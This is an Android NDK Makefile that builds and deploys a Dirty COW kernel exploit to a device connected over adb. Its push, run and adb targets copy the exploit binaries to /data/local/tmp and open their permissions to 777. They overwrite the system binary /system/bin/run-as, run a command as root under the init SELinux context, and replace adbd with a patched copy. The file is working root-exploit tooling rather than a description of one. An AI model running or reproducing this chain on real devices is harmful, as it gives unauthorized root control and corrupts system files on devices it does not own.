Makefile

#export PATH=$PATH:/media/kay/4082bd8d-0f54-444e-a97f-aa84565641a1/android-ndk-r13b
arch = $(shell adb shell getprop ro.product.cpu.abi)
#arch = armeabi-v7a
# choose platform https://developer.android.com/ndk/guides/stable_apis.html#purpose
# https://source.android.com/source/build-numbers.html
platform = android-22
libselinux = $(shell dirname `which ndk-build`)/platforms/$(platform)/arch-arm/usr/lib/libselinux.so

all: build

build:
	test -f $(libselinux) || adb pull /system/lib/libselinux.so $(libselinux)
	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=$(platform) TARGET_ARCH_ABI=$(arch)

push: build
	adb push libs/$(arch)/dirtycow /data/local/tmp/dirtycow
	adb push libs/$(arch)/run-as /data/local/tmp/run-as
	adb push libs/$(arch)/run /data/local/tmp/run

#run: push
run:
	adb shell 'chmod 777 /data/local/tmp/dirtycow /data/local/tmp/run-as /data/local/tmp/run'
	adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
	adb shell /system/bin/run-as /data/local/tmp/run -u root -c u:r:init:s0 id

adb: run
	adb shell run-as /data/local/tmp/dirtycow /sbin/adbd /data/local/tmp/adbd.patched

root: push run

clean:
	rm -rf libs
	rm -rf obj